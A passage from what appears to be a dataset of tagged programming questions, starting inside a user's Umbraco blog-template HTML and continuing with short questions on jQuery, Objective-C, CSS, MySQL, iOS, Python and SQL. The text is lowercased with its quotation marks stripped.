 &lt;/header&gt;
  &lt;!-- /header --&gt;
  &lt;!-- marine content inner --&gt;
  &lt;div id= marine-content-inner &gt;
  &lt;!-- main content --&gt;
  &lt;section id= main-content &gt;
  &lt;!-- container --&gt;
  &lt;div class= container &gt;
   &lt;!-- container --&gt;
   &lt;div class= container &gt;
   &lt;div class= page-heading style3 wrapper border-bottom  &gt;
    &lt;div class= row &gt;
     &lt;div class= col-lg-6 col-md-6 col-sm-6 &gt;
      &lt;h1&gt;&lt;umbraco:item field= blogposttitle  runat= server  /&gt;&lt;/h1&gt;
     &lt;/div&gt;
     &lt;div class= col-lg-6 col-md-6 col-sm-6 &gt;
      &lt;p class= breadcrumbs  xmlns:v=  &gt;&lt;span typeof= v:breadcrumb &gt;&lt;a rel= v:url  property= v:title  href= http://www.redflyseo.co.za &gt;home&lt;/a&gt;&lt;/span&gt;&lt;span class= delimiter &gt;|&lt;/span&gt; &lt;span typeof= v:breadcrumb &gt;&lt;a rel= v:url  property= v:title  href= # &gt;blog&lt;/a&gt;&lt;/span&gt;&lt;span class= delimiter &gt;|&lt;/span&gt; &lt;span class= current &gt;&lt;umbraco:item field= pagename  runat= server  /&gt;&lt;/span&gt;&lt;/p&gt;
     &lt;/div&gt;
    &lt;/div&gt;
   &lt;/div&gt;
   &lt;div class= row &gt;
    &lt;section class= main-content col-lg-9 col-md-8 col-sm-8 small-padding &gt;
    &lt;div class= row &gt;
     &lt;div id= post-items &gt;
      &lt;!-- post item --&gt;
      &lt;div class= post blog-post blog-post-classic col-lg-12 col-md-12 col-sm-12 margin-top20 &gt;
       &lt;div class= blog-post-list &gt;
        &lt;div class= blog-post-meta &gt;
         &lt;span class= post-date &gt;
         &lt;span class= post-day &gt;&lt;umbraco:item field= day  runat= server  /&gt;&lt;/span&gt;&lt;br/&gt;
         &lt;umbraco:item field= monthyear  runat= server  /&gt; &lt;/span&gt;
         &lt;span class= post-format &gt;
         &lt;span class= photo-icon &gt;&lt;/span&gt;
         &lt;/span&gt;
         &lt;img alt=   src= &lt;umbraco:item field= authorphoto  runat= server  /&gt;  class= avatar /&gt;
         &lt;span class= author &gt;&lt;umbraco:item field= writername  runat= server  /&gt;&lt;/span&gt;
        &lt;/div&gt;
        &lt;div class= blog-post-content &gt;
         &lt;!-- post image --&gt;
         &lt;div class= post-thumbnail &gt;
          &lt;img src= &lt;umbraco:item field= blogphoto  runat= server  /&gt;  alt=  /&gt;
          &lt;div class= post-hover &gt;
          &lt;/div&gt;
         &lt;/div&gt;
         &lt;!-- /post image --&gt;
         &lt;!-- post content --&gt;
         &lt;div class= post-content &gt;
          &lt;ul class= post-meta &gt;
           &lt;li&gt;no comments&lt;/li&gt;
          &lt;/ul&gt;
                &lt;ul class= social-icons style2 social-media &gt;
                    &lt;li&gt;&lt;a target= _blank  href= # &gt;
                            &lt;i class= icon-facebook-squared &gt;&lt;/i&gt;
                        &lt;/a&gt;
           &lt;/li&gt;
                    &lt;li&gt;
            &lt;a target= _blank  href= # &gt;
                            &lt;i class= icon-twitter &gt;&lt;/i&gt;
            &lt;/a&gt;
           &lt;/li&gt;
                    &lt;li&gt;
            &lt;a href= # &gt;
             &lt;i class= icon-google &gt;&lt;/i&gt;
                        &lt;/a&gt;
                    &lt;/li&gt;
           &lt;li&gt;
            &lt;a target= _blank  href= #  &gt;
             &lt;i class= icon-pinterest &gt;&lt;/i&gt;
            &lt;/a&gt;
           &lt;/li&gt;
           &lt;li&gt;
            &lt;a href= # &gt;
             &lt;i class= icon-linkedin &gt;&lt;/i&gt;
            &lt;/a&gt;
           &lt;/li&gt; 
                &lt;/ul&gt;
          &lt;p&gt;&lt;umbraco:item field= content  runat= server  /&gt;&lt;/p&gt;
         &lt;/div&gt;
         &lt;!-- /post content --&gt;
        &lt;/div&gt;
       &lt;/div&gt;
       &lt;div class= post-author margin-bottom35 &gt;
        &lt;img alt=   src= img/avatar.png  class= avatar &gt;
        &lt;h3&gt;about jack&lt;/h3&gt;
        &lt;p&gt;lorem ipsum dolor sit amet  consectetur adipisicing elit. a accusantium adipisci architecto aspernatur consequuntur debitis distinctio dolorem  doloremque eius error eum eveniet facere harum impedit incidunt labore magnam modi necessitatibus non optio perspiciatis quas saepe similique tempore temporibus totam unde velit! animi architecto culpa dolor expedita id illum impedit praesentium quae  alias amet  exercitationem iure natus obcaecati ratione! accusantium assumenda  dignissimos eveniet incidunt nesciunt perspiciatis similique. alias aperiam architecto  autem ea error harum modi nemo nobis obcaecati quas. accusamus atque aut consequatur consequuntur cumque debitis dolorem esse incidunt iure odio  odit  quia  repellendus saepe. deserunt id libero magnam sunt voluptatum &lt;/p&gt;
       &lt;/div&gt;
      &lt;/div&gt;
      &lt;!-- /post item --&gt;
     &lt;/div&gt;
    &lt;/div&gt;&lt;div class= row &gt;
     &lt;div class= col-sm-12 &gt;
      &lt;div id= comments  class= post-comments &gt;
       &lt;div id= respond  class= comment-respond &gt;
        &lt;/form&gt;
       &lt;/div&gt;&lt;!-- #respond --&gt;
      &lt;/div&gt;&lt;!-- #comments --&gt;
     &lt;/div&gt;
    &lt;/div&gt;
    &lt;/section&gt;
    &lt;aside class= sidebar col-lg-3 col-md-4 col-sm-4 &gt;
   &lt;div id= twitter-rss-2  class= widget twitter_counter_media &gt;
    &lt;div class= social &gt;
     &lt;div class= social-item &gt;
      &lt;a href= google &gt;
      &lt;img alt=   src= img/twitter.png &gt;
      &lt;span&gt;&lt;span class= bold &gt;9401354&lt;/span&gt;&lt;br&gt;
       followers&lt;/span&gt;
      &lt;/a&gt;
     &lt;/div&gt;
     &lt;div class= social-item &gt;
      &lt;a href= # &gt;
      &lt;img alt=   src= img/rss.png &gt;
      &lt;span&gt;&lt;span class= bold &gt;subscribe&lt;/span&gt;&lt;br&gt;
       to rss feed&lt;/span&gt;
      &lt;/a&gt;
     &lt;/div&gt;
    &lt;/div&gt;
   &lt;/div&gt;
   &lt;div id= call-to-action-widget-2  class= widget widget_call_to_action &gt;
    &lt;h3&gt;&lt;/h3&gt;
    &lt;div class= info-box &gt;
     &lt;h2&gt;&lt;umbraco:item field= calltitle  runat= server  /&gt;&lt;/h2&gt;
     &lt;h4&gt;&lt;umbraco:item field= ndheader  runat= server  /&gt;&lt;/h4&gt;
     &lt;a href= #  target= _self  class= button &gt;&lt;umbraco:item field= buttontext  runat= server  /&gt;&lt;/a&gt;
    &lt;/div&gt;
   &lt;/div&gt;
   &lt;/aside&gt;
    &lt;/div&gt;
   &lt;/div&gt;
   &lt;!-- /container --&gt;
   &lt;/section&gt;
   &lt;!-- /main content --&gt;
  &lt;/div&gt;
 &lt;!-- /marine conten inner --&gt;
 &lt;!-- footer --&gt;
 &lt;footer id= footer &gt;
 &lt;!-- main footer --&gt;
 &lt;div id= main-footer  class= smallest-padding &gt;
  &lt;div class= container &gt;
   &lt;div class= row &gt;
    &lt;div class= col-lg-3 col-md-3 col-sm-3 &gt;
     &lt;div id= text-2  class= widget widget_text &gt;
      &lt;div class= textwidget &gt;
       &lt;img src= img/marine-logo-light.png  alt= logo &gt;
       &lt;p&gt;
         vivamus orci sem  consectetur ut vestibulum a  mper ac dui. aenean tellus nisl  commodo eu aliquet ut  pulvinar ut sapien. proin tate aliquam mi nec hendrerit.
       &lt;/p&gt;
      &lt;/div&gt;
     &lt;/div&gt;
    &lt;/div&gt;
    &lt;div class= col-lg-3 col-md-3 col-sm-3 &gt;
     &lt;div id= latest-posts-3  class= widget widget_latest_posts_entries &gt;
      &lt;h4&gt;latest posts&lt;/h4&gt;
      &lt;div class= blog-post &gt;
       &lt;span class= post-meta &gt;june 11  2014 | jack&lt;/span&gt;
       &lt;a class= post-title  title= single blog post  href= # &gt;single blog post&lt;/a&gt;
       &lt;p&gt;
         suspendisse ornare tincidunt massa et malesuada. integer consequat suscipit velit
       &lt;/p&gt;
      &lt;/div&gt;
      &lt;div class= blog-post &gt;
       &lt;span class= post-meta &gt;june 8  2014 | jack&lt;/span&gt;
       &lt;a class= post-title  title= a simple text post  href= # &gt;a simple text post&lt;/a&gt;
       &lt;p&gt;
         lorem ipsum dolor sit amet  consectetuer adipiscing elit. sed eleifend
       &lt;/p&gt;
      &lt;/div&gt;
     &lt;/div&gt;
    &lt;/div&gt;
    &lt;div class= col-lg-3 col-md-3 col-sm-3 &gt;
     &lt;div id= text-4  class= widget widget_text &gt;
      &lt;h4&gt;contact&lt;/h4&gt;
      &lt;div class= textwidget &gt;
       &lt;ul class= iconic-list &gt;
        &lt;li&gt;
        &lt;i class= icons icon-location-7 &gt;&lt;/i&gt;
        phoenix inc.&lt;br&gt;
         po box 21177 &lt;br&gt;
         little lonsdale st  melbourne &lt;br&gt;
         victoria 8011 australia &lt;/li&gt;
        &lt;li&gt;
        &lt;i class= icons icon-mobile-6 &gt;&lt;/i&gt;
        phone: (415) 124-5678 &lt;br&gt;
         fax: (415) 124-5678 &lt;/li&gt;
        &lt;li&gt;
        &lt;i class= icons icon-mail-7 &gt;&lt;/i&gt;
        support@yourname.com &lt;/li&gt;
       &lt;/ul&gt;
      &lt;/div&gt;
     &lt;/div&gt;
    &lt;/div&gt;
    &lt;div class= col-lg-3 col-md-3 col-sm-3 &gt;
     &lt;div id= wysija-3  class= widget widget_wysija &gt;
      &lt;/div&gt;
     &lt;/div&gt;
     &lt;div id= social-media-2  class= widget widget_social_media &gt;
      &lt;h4&gt;follow us&lt;/h4&gt;
      &lt;ul class= social-media &gt;
       &lt;li class= tooltip-ontop  title= facebook &gt;&lt;a href= dfsdfsdfscvc &gt;&lt;i class= icon-facebook &gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;
       &lt;li class= tooltip-ontop  title= twitter &gt;&lt;a href= dfsder &gt;&lt;i class= icon-twitter &gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;
       &lt;li class= tooltip-ontop  title= google plus &gt;&lt;a href= sdfs &gt;&lt;i class= icon-google &gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;
       &lt;li class= tooltip-ontop  title= linkedin &gt;&lt;a href= fsdfsd &gt;&lt;i class= icon-linkedin &gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;
      &lt;/ul&gt;
     &lt;/div&gt;
    &lt;/div&gt;
   &lt;/div&gt;
  &lt;/div&gt;
 &lt;/div&gt;
 &lt;!-- /main footer --&gt;
 &lt;!-- lower footer --&gt;
 &lt;div id= lower-footer &gt;
  &lt;div class= container &gt;
   &lt;span class= copyright &gt;© 2014 marine. all rights reserved&lt;/span&gt;
  &lt;/div&gt;
 &lt;/div&gt;
 &lt;!-- /lower footer --&gt;
 &lt;/footer&gt;
 &lt;!-- /footer --&gt;
 &lt;/div&gt;
 &lt;!-- /marine content wrapper --&gt;
 &lt;!-- javascript --&gt;
 &lt;script type= text/javascript  src= scripts/bootstrap.min.js &gt;&lt;/script&gt;
 &lt;script type= text/javascript  src= scripts/jquery-ui.min.js &gt;&lt;/script&gt;
 &lt;script type= text/javascript  src= scripts/jquery.easing.1.3.js &gt;&lt;/script&gt;
 &lt;script type= text/javascript  src= scripts/jquery.mousewheel.min.js &gt;&lt;/script&gt;
 &lt;script type= text/javascript  src= scripts/smoothscroll.min.js &gt;&lt;/script&gt;
 &lt;script type= text/javascript  src= scripts/jquery.prettyphoto.js &gt;&lt;/script&gt;
 &lt;script type= text/javascript  src= scripts/modernizr.js &gt;&lt;/script&gt;
 &lt;script type= text/javascript  src= scripts/wow.min.js &gt;&lt;/script&gt;
 &lt;script type= text/javascript  src= scripts/jquery.sharre.min.js &gt;&lt;/script&gt;
 &lt;script type= text/javascript  src= scripts/jquery.flexslider-min.js &gt;&lt;/script&gt;
 &lt;script type= text/javascript  src= scripts/jquery.knob.js &gt;&lt;/script&gt;
 &lt;script type= text/javascript  src= scripts/jquery.mixitup.min.js &gt;&lt;/script&gt;
 &lt;script type= text/javascript  src= scripts/masonry.min.js ver=3.1.2 &gt;&lt;/script&gt;
 &lt;script type= text/javascript  src= scripts/jquery.masonry.min.js ver=3.1.2 &gt;&lt;/script&gt;
 &lt;script type= text/javascript  src= scripts/jquery.fitvids.js &gt;&lt;/script&gt;
 &lt;script type= text/javascript  src= scripts/perfect-scrollbar-0.4.10.with-mousewheel.min.js &gt;&lt;/script&gt;
 &lt;script type= text/javascript  src= scripts/jquery.nouislider.min.js &gt;&lt;/script&gt;
 &lt;script type= text/javascript  src= scripts/jquery.validity.min.js &gt;&lt;/script&gt;
 &lt;script type= text/javascript  src= scripts/tweetie.min.js &gt;&lt;/script&gt;
 &lt;script type= text/javascript  src= scripts/script.js &gt;&lt;/script&gt;
 &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>
     and this is my blog post timeline code:     <pre class= lang-html prettyprint-override ><code>&lt;!doctype html&gt; &lt;!--[if ie 8 ]&gt;&lt;html lang= en  class= isie ie8 oldie no-js &gt;&lt;![endif]--&gt; &lt;!--[if ie 9 ]&gt;&lt;html lang= en  class= isie ie9 no-js &gt;&lt;![endif]--&gt; &lt;!--[if (gt ie 9)|!(ie)]&gt;&lt;!--&gt; &lt;html lang= en  class= no-js &gt; &lt;!--&lt;![endif]--&gt; &lt;head&gt; &lt;!-- meta tags --&gt; &lt;meta charset= utf-8 &gt; &lt;meta http-equiv= x-ua-compatible  content= ie=edge &gt; &lt;meta name= viewport  content= width=device-width  initial-scale=1 &gt; &lt;meta name= description  content= marine main 1 &gt; &lt;!-- title --&gt; &lt;title&gt;blog timeline style | marine&lt;/title&gt; &lt;!-- favicon --&gt; &lt;link rel= shortcut icon  href= img/favicon.jpg  type= image/x-icon /&gt; &lt;!-- google fonts --&gt; &lt;link href= http://fonts.googleapis.com/css family=open+sans:400 400italic 700 800  rel= stylesheet  type= text/css &gt; &lt;!-- stylesheets --&gt; &lt;link rel= stylesheet  id= twitter-bootstrap-css  href= css/bootstrap.min.css  type= text/css  media= all /&gt; &lt;link rel= stylesheet  id= fontello-css  href= css/fontello.css  type= text/css  media= all /&gt; &lt;link rel= stylesheet  id= prettyphoto-css-css  href= css/prettyphoto.css  type= text/css  media= all /&gt; &lt;link rel= stylesheet  id= animation-css  href= css/animation.css  type= text/css  media= all /&gt; &lt;link rel= stylesheet  id= perfectscrollbar-css  href= css/perfect-scrollbar-0.4.10.min.css  type= text/css  media= all /&gt; &lt;link rel= stylesheet  id= jquery-validity-css  href= css/jquery.validity.css  type= text/css  media= all /&gt; &lt;link rel= stylesheet  id= jquery-ui-css  href= css/jquery-ui.min.css  type= text/css  media= all /&gt; &lt;link rel= stylesheet  id= style-css  href= css/style.css  type= text/css  media= all /&gt; &lt;link rel= stylesheet  id= mobilenav-css  href= css/mobilenav.css  type= text/css  media= screen and (max-width: 838px) /&gt; &lt;!-- jquery --&gt; &lt;script src= scripts/jquery-1.11.1.min.js &gt;&lt;/script&gt; &lt;!--[if lt ie 9]&gt;             &lt;script&gt;                 document.createelement( header );                 document.createelement( nav );                 document.createelement( section );                 document.createelement( article );                 document.createelement( aside );                 document.createelement( footer );                 document.createelement( hgroup );             &lt;/script&gt;         &lt;![endif]--&gt; &lt;!--[if lt ie 9]&gt;             &lt;script src= scripts/html5.js &gt;&lt;/script&gt;         &lt;![endif]--&gt; &lt;!--[if lt ie 7]&gt;             &lt;script src= scripts/icomoon.js &gt;&lt;/script&gt;         &lt;![endif]--&gt; &lt;!--[if lt ie 9]&gt;             &lt;link href= css/ie.css  rel= stylesheet &gt;         &lt;![endif]--&gt; &lt;!--[if lt ie 9]&gt;             &lt;script src= scripts/jquery.placeholder.js &gt;&lt;/script&gt;             &lt;script src= scripts/script_ie.js &gt;&lt;/script&gt;         &lt;![endif]--&gt; &lt;/head&gt; &lt;body class= w1170 headerstyle1 &gt; &lt;!-- marine content wrapper --&gt; &lt;div id= marine-content-wrapper &gt;     &lt;header id= header  class= style6 &gt; &lt;div id= upper-header &gt;     &lt;div class= container &gt;         &lt;div class= row &gt;             &lt;div class= col-lg-12 col-md-12 col-sm-12 &gt;                 &lt;div class= item left hidden-separator &gt;                     &lt;ul id= menu-shop-header  class= menu &gt;                       &lt;/ul&gt;                 &lt;/div&gt;                 &lt;div class= item right hidden-separator &gt;                           &lt;div class= shopping-cart-dropdown &gt;                         &lt;div class= cart-menu-item  &gt;                             &lt;div class= sc-header &gt;                             &lt;/div&gt;                         &lt;/div&gt;                     &lt;/div&gt;                 &lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt;         &lt;!-- main header --&gt; &lt;div id= main-header &gt;     &lt;div class= container &gt;         &lt;div class= row &gt;             &lt;!-- logo --&gt;             &lt;div class= col-lg-4 col-md-4 col-sm-4 logo &gt;                 &lt;a href= index.html  title= marine  rel= home &gt;&lt;img class= logo  src= img/marine-logo.png  alt= marine &gt;&lt;/a&gt;                 &lt;div id= main-nav-button &gt;                     &lt;span&gt;&lt;/span&gt;                     &lt;span&gt;&lt;/span&gt;                     &lt;span&gt;&lt;/span&gt;                 &lt;/div&gt;             &lt;/div&gt;             &lt;div class= col-sm-8 align-right &gt;                 &lt;!-- text list --&gt;                 &lt;ul class= text-list &gt;                     &lt;li&gt;call us: +1 800 450 17 08&lt;/li&gt;                 &lt;/ul&gt;                 &lt;!-- social media --&gt;                 &lt;ul class= social-media &gt;                     &lt;li&gt;&lt;a target= _blank  href= http://facebook.com &gt;&lt;i class= icon-facebook &gt;&lt;/i&gt;&lt;/a&gt;                     &lt;/li&gt;                     &lt;li&gt;&lt;a target= _blank  href= http://twiiter.com/google &gt;&lt;i class= icon-twitter &gt;&lt;/i&gt;&lt;/a&gt;                     &lt;/li&gt;                     &lt;li&gt;&lt;a target= _blank  href= http://google.com &gt;&lt;i class= icon-google &gt;&lt;/i&gt;&lt;/a&gt;                     &lt;/li&gt;                     &lt;li&gt;&lt;a target= _blank  href= http://linkedin.com &gt;&lt;i class= icon-linkedin &gt;&lt;/i&gt;&lt;/a&gt;                     &lt;/li&gt;                 &lt;/ul&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; &lt;!-- /main header --&gt; &lt;!-- lower header --&gt; &lt;div id= lower-header &gt;     &lt;div class= container &gt;         &lt;div class= row &gt;             &lt;div class= col-lg-12 col-md-12 col-sm-12 &gt;                 &lt;div class= lower-logo &gt;                     &lt;a href= index.html  title= marine  rel= home &gt;&lt;img class= logo  src= img/marine-logo.png  alt= marine &gt;&lt;/a&gt;                 &lt;/div&gt;                 &lt;!-- main navigation --&gt;                 &lt;ul id= main-nav &gt;                 &lt;ul class= mainmenu &gt;                         &lt;li&gt;&lt;a href= http://www.redflyseo.co.za  title= home &gt;home&lt;/a&gt;&lt;/li&gt;                         &amp;nbsp|&amp;nbsp                         &lt;li&gt;&lt;a href= http://www.redflyseo.co.za/seo  title= seo &gt;seo&lt;/a&gt;&lt;/li&gt;                         &amp;nbsp|&amp;nbsp                         &lt;li&gt;&lt;a href= http://www.redflyseo.co.za/social-media  title= social media &gt;social media&lt;/a&gt;&lt;/li&gt;                         &amp;nbsp|&amp;nbsp                         &lt;li&gt;&lt;a href= http://www.redflyseo.co.za/content-marketing  title= content marketing &gt;content marketing&lt;/a&gt;&lt;/li&gt;                         &amp;nbsp|&amp;nbsp                         &lt;li&gt;&lt;a href= http://www.redflyseo.co.za/digital-audits  title= digital audits &gt;digital audits&lt;/a&gt;&lt;/li&gt;                         &amp;nbsp|&amp;nbsp                         &lt;li&gt;&lt;a href= http://www.redflyseo.co.za/sme-business-package  title= sme business package &gt;sme business package&lt;/a&gt;&lt;/li&gt;                         &amp;nbsp|&amp;nbsp                         &lt;li&gt;&lt;a href= http://www.redflyseo.co.za/blog  title= blog &gt;blog&lt;/a&gt;&lt;/li&gt;                         &amp;nbsp|&amp;nbsp                         &lt;li&gt;&lt;a href= http://www.redflyseo.co.za/contact-us  title= contact us &gt;contact us&lt;/a&gt;&lt;/li&gt;                     &lt;/ul&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; &lt;!-- /lower header --&gt; &lt;script type= text/javascript &gt; //&lt;![cdata[   (function() {     var shr = document.createelement( script );     shr.setattribute( data-cfasync    false );     shr.src =  //dsms0mj1bbhn4.cloudfront.net/assets/pub/shareaholic.js ;     shr.type =  text/javascript ; shr.async =  true ;     shr.onload = shr.onreadystatechange = function() {       var rs = this.readystate;       if (rs &amp;&amp; rs !=  complete  &amp;&amp; rs !=  loaded ) return;       var site_id =  4703ccf47ac9b99588c7a6fb9d1b4ce2 ;       try { shareaholic.init(site_id); } catch (e) {}     };     var s = document.getelementsbytagname( script )[0];     s.parentnode.insertbefore(shr  s);   })(); //]]&gt; &lt;/script&gt; &lt;/header&gt;     &lt;!-- /header --&gt;     &lt;!-- marine content inner --&gt; &lt;div id= marine-content-inner &gt;     &lt;!-- main content --&gt;     &lt;section id= main-content &gt;     &lt;!-- container --&gt;     &lt;div class= container &gt;         &lt;section class= full-width dark-blue-bg page-heading position-left-top size-cover  style= background-image: http://placehold.it/1903x90 &gt;         &lt;div class= container &gt;             &lt;div class= row &gt;                 &lt;div class= col-lg-6 col-md-6 col-sm-6 &gt;                     &lt;h1&gt;&lt;umbraco:item field= blogname  runat= server  /&gt;&lt;/h1&gt;                 &lt;/div&gt;               &lt;/div&gt;         &lt;/div&gt;         &lt;/section&gt;         &lt;script&gt;             var timelineperpage = 8;             var timelineoffset = 0;             var timelineoffsetnext = (   timelineperpage * timelineoffset ) + timelineperpage; // current             // offset of page             var currentmonth = null;             var currentyear = null;             var templateurl =  &lt;umbraco:item field= path  runat= server  /&gt; ;         &lt;/script&gt;         &lt;section class= full-width-bg normal-padding medium-gray-bg  &gt;         &lt;div class= timeline-container-wrap &gt;             &lt;div class= timeline-date-tooltip &gt;                 &lt;span&gt;june 2014&lt;/span&gt;             &lt;/div&gt;             &lt;div class= row timeline-row &gt;                 &lt;div class= masonry-container timeline-container &gt;                     &lt;div class= col-lg-6 col-md-6 col-sm-6 masonry-box  data-year= 2014  data-month= june &gt;                         &lt;div class= blog-post masonry timeline &gt;                             &lt;!-- post footer --&gt;                             &lt;div class= post-footer &gt;                                 &lt;img alt=   src= img/avatar.png  class= avatar /&gt;&lt;span class= post-date &gt;                                 &lt;span class= post-day &gt;11 june &lt;/span&gt;                                 2014 &lt;/span&gt;                                 &lt;ul class= post-meta &gt;                                     &lt;li&gt; by jack &lt;/li&gt;                                 &lt;/ul&gt;                             &lt;/div&gt;                             &lt;!-- end post footer --&gt;                             &lt;div class= post &gt;                                 &lt;div class= post-thumbnail &gt;                                     &lt;img src= http://placehold.it/528x214  alt= quotes time! /&gt;                                     &lt;div class= post-hover &gt;                                         &lt;a class= link-icon  href= # &gt;&lt;/a&gt;&lt;a class= search-icon prettyphoto  href= http://placehold.it/870x475 &gt;&lt;/a&gt;                                     &lt;/div&gt;                                 &lt;/div&gt;                                 &lt;div class= post-content &gt;                                     &lt;div class= post-details &gt;                                         &lt;h4 class= post-title &gt;                                         &lt;span class= post-format &gt;                                         &lt;span class= document-icon &gt;&lt;/span&gt;&lt;/span&gt;                                         &lt;a href= blog-single.html  title= quotes time! &gt;quotes time!&lt;/a&gt;                                         &lt;/h4&gt;                                     &lt;/div&gt;                                     &lt;p class= latest-from-blog_item_text &gt;                                          lorem ipsum dolor sit amet  consectetuer adipiscing elit. curabitur quam augue  vehicula quis  tincidunt vel  varius vitae  nulla. sed convallis orci. duis libero orci  pretium a  convallis quis  pellentesque a  dolor. curabitur vitae nisi non dolor vestibulum consequat. proin vestibulum.                                     &lt;/p&gt;                                     &lt;a class= read-more big  href= blog-single.html  title= quotes time! &gt;read more&lt;/a&gt;                                 &lt;/div&gt;                                 &lt;div class= clear &gt;                                 &lt;/div&gt;                             &lt;/div&gt;                         &lt;/div&gt;                     &lt;/div&gt;                 &lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;         &lt;!-- .masonry-container-wrapper --&gt;         &lt;div class= align-center load-more &gt;             &lt;a class= button big blue button-load-more  id= timeline-load-more  href= http://www.redflyseo.co.za/blog &gt;load more&lt;/a&gt;         &lt;/div&gt;     &lt;/section&gt;         &lt;/div&gt;     &lt;!-- /container --&gt;     &lt;/section&gt;     &lt;!-- /main content --&gt; &lt;/div&gt; </code></pre>   i would appreciate it if anyone could assist with this matter. i have been researching and been stuck for about a month with displaying blog post snippet on my blog timeline and home page. i deleted some of the footer code as i reached the limited of characters in this post.",html
how to make a hover clickable   i m using a jquery to use the fade in effect on an image but the only thing that s clickable is the link inside the image not the image itself  and surrounding the  img  tag with an  a  tag did not work  here s my my problem: <a href= http://www.marcuspedersen.com/dev/index.html  rel= nofollow >http://www.marcuspedersen.com/dev/index.html</a>,html
objective-c: initializing char with char at index of string <pre><code>unichar mychar = [mystring characteratindex:0]; [mynsmutablearray addobject:mychar]; </code></pre>   i am trying to insert the first char of a string into an array  to create an array of chars. the first line does not give me an error. the second line however  provides the following error: <code>warning: passing argument 1 of  addobject:  makes pointer from integer without a cast</code>    this also crashes the application with a  bad address  error. i thought this error was due to a problem with memory allocation. can someone shed some light on this.,objective-c
html anchor #bottom  only going half-way down page  <a href= http://www.planet-tolkien.com/board/44/621/0/poll-suggestions  rel= nofollow >http://www.planet-tolkien.com/board/44/621/0/poll-suggestions</a>    it s due to the multiple  bottom of the page  anchor links on each post to the anchor name at the bottom of the page. i tried to solve this by using a unique id and name for the attributes:   <pre><code>&lt;a href= #bottom  id= 4656  name= 4656 &gt; </code></pre>   but this hasn t worked.    suggestions     p.s. don t use the url bar  yes that works. visit the page and click on a link in a post that says  bottom of the page . this is where it isn t working.,html
float nested li  i m trying to create a vertical menu and i need to make a multicolumn submenu. my code looks like this:   <pre><code>&lt;style type= text/css  media= screen &gt;   #nav {         width: 100px;     }     #nav li {         position: relative;         background-color: red;     }     #nav li:hover .subnav {         display: block;     }     .subnav {         position: absolute;         top: 0;         left: 100px;         display: none;     }     .subnav &gt; li {         float: left;     } &lt;/style&gt;    &lt;ul id= nav &gt;     &lt;li&gt;         &lt;a href= # &gt;link 1&lt;/a&gt;         &lt;ul class= subnav &gt;             &lt;li&gt;                 &lt;ul&gt;                     &lt;li&gt;col 1.1&lt;/li&gt;                     &lt;li&gt;col 1.2&lt;/li&gt;                 &lt;/ul&gt;             &lt;/li&gt;             &lt;li&gt;                 &lt;ul&gt;                     &lt;li&gt;col 2.1&lt;/li&gt;                     &lt;li&gt;col 2.2&lt;/li&gt;                 &lt;/ul&gt;             &lt;/li&gt;             &lt;li&gt;                 &lt;ul&gt;                     &lt;li&gt;col 3.1&lt;/li&gt;                     &lt;li&gt;col 3.2&lt;/li&gt;                 &lt;/ul&gt;             &lt;/li&gt;         &lt;/ul&gt;     &lt;/li&gt; &lt;/ul&gt; </code></pre>   my question is that why .subnav > li doesn t float left  i don t want to set width attribute  because i don t know how long the submenu item will be.,css
mysql query update from 2 column of its current value  mysql version   5.1.63-cll using phpmyadmin to edit    so i have this table ps_layered_price_index i want to edit/update column:-    <pre><code>price_min and price_max  (updating the current value+10)  where column(id_product) = all </code></pre>,mysql
retrieve app store id in native ios apps  in my apps i want to retrieve/read the app store id. is there an api or webservice via which i can get app store id given to my app  i am talking about native ios applications.    thanks,ios
how to make sure that the user can t move on without entering their name   i have the following piece of python code:   <pre><code>def getplayername():      print()    playername = input( please enter your name:  )    print()    return playername </code></pre>   what should i do to make sure they can t move on until they enter their name because at the moment they can move on without entering their name by pressing enter,python
does ios enterprise program allow to add entitlements to provisioning profiles   i am doing a research now for ios inhouse app. and i may need to add an entitlement to my app to implement some functionality.     i know that it doesn t work with ios developer program  because there is no way to add entitlements to provisioning profile. so  signed app is rejected by device.    does ios enterprise program allow to add entitlements to provisioning profiles     upd. i am taking about custom entitlements (as example  com.apple.springboard.opensensitiveurl ).    also  there was a change between ios 3.x and ios 4 and later (<a href= https://developer.apple.com/legacy/library/technotes/tn2250/_index.html#//apple_ref/doc/uid/dts40009933-ch1-troubleshooting_guide-code_signing_entitlements  rel= nofollow noreferrer >https://developer.apple.com/legacy/library/technotes/tn2250/_index.html#//apple_ref/doc/uid/dts40009933-ch1-troubleshooting_guide-code_signing_entitlements</a>).     if i try just adding entitlements file and sign it with provisioning profile which doesn t have entitlements  i am getting  the entitlements specified in your application’s code signing entitlements file do not match those specified in your provisioning profile.,ios
what is difference between merge query and query with cursor for update and insert of data in terms of performance optimization and scalability   what is difference between merge query and query with cursor for update and insert of data in terms of performance optimization and scalability     any answer is much appreciated    sql,sql
jquery .insertafter() dom elements  i have a html table which in which i want to manipulate using jquery    table:   <pre><code>&lt;table&gt;  &lt;tr&gt;  &lt;td&gt;&lt;div class=externalclass00fa6d5a488c4b2582667d6d8df15f79&gt;value 1&lt;/div&gt;&lt;/td&gt;  &lt;td class= ms-disc-bordered-noleft &gt;value 2&lt;/td&gt;  &lt;td class= ms-disc-bordered-noleft &gt;value 3&lt;/td&gt;  &lt;td class= ms-disc-bordered-noleft &gt; &lt;a href= /threaded.aspx rootfolder=%2flists&amp;amp;folderctid=0x01200 &gt;value 4&lt;/a&gt; &lt;/td&gt;&lt;/tr&gt;   ............... &lt;tr&gt;  &lt;td&gt;&lt;div class=externalclass00fa6d5a488c4b2582667d6d8df15f79&gt;value 1&lt;/div&gt;&lt;/td&gt;  &lt;td class= ms-disc-bordered-noleft &gt;value 2&lt;/td&gt;  &lt;td class= ms-disc-bordered-noleft &gt;value 3&lt;/td&gt;  &lt;td class= ms-disc-bordered-noleft &gt; &lt;a href= /threaded.aspx rootfolder=%2flists&amp;amp;folderctid=0x01200 &gt;value 4&lt;/a&gt; &lt;/td&gt;&lt;/tr&gt;  ........and so on   &lt;/table&gt; </code></pre>   i am trying to pick  value 4  the last having string  folderctid  in href and 